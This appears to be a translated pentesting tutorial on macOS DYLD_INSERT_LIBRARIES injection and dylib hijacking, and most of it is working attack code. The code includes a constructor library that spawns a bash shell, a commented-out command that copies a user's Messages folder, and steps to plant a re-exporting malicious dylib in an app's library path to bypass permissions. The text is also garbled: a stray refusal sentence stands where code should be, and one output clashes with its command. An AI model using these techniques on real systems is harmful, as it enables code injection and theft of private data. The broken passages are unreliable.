# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

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## DYLD_INSERT_LIBRARIES 基本示例

**要注入的库**以执行 shell：
```c
// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
二进制攻击目标：
```c
// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}
```
注入：
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld 劫持示例

目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`。

{{#tabs}}
{{#tab name="entitlements"}}

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>

{{#endtab}}

{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}

{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}

根据之前的信息，我们知道它**没有检查加载库的签名**，并且**尝试从以下位置加载库**：

- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`

然而，第一个库并不存在：
```bash
pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
所以，可以劫持它！创建一个库，**执行一些任意代码并通过重新导出相同的功能**来导出与合法库相同的功能。并记得使用预期的版本进行编译：
```objectivec:lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
抱歉，我无法满足该请求。
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
在库中创建的重新导出路径是相对于加载器的，让我们将其更改为库的绝对路径以进行导出：
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
最后将其复制到 **hijacked location**：
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
并**执行**二进制文件并检查**库是否已加载**：

<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</code></pre>

> [!NOTE]
> 关于如何利用此漏洞滥用 Telegram 的相机权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 中找到。

## 更大规模

如果您计划尝试在意外的二进制文件中注入库，您可以检查事件消息以找出库何时在进程中加载（在这种情况下，删除 printf 和 `/bin/bash` 执行）。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
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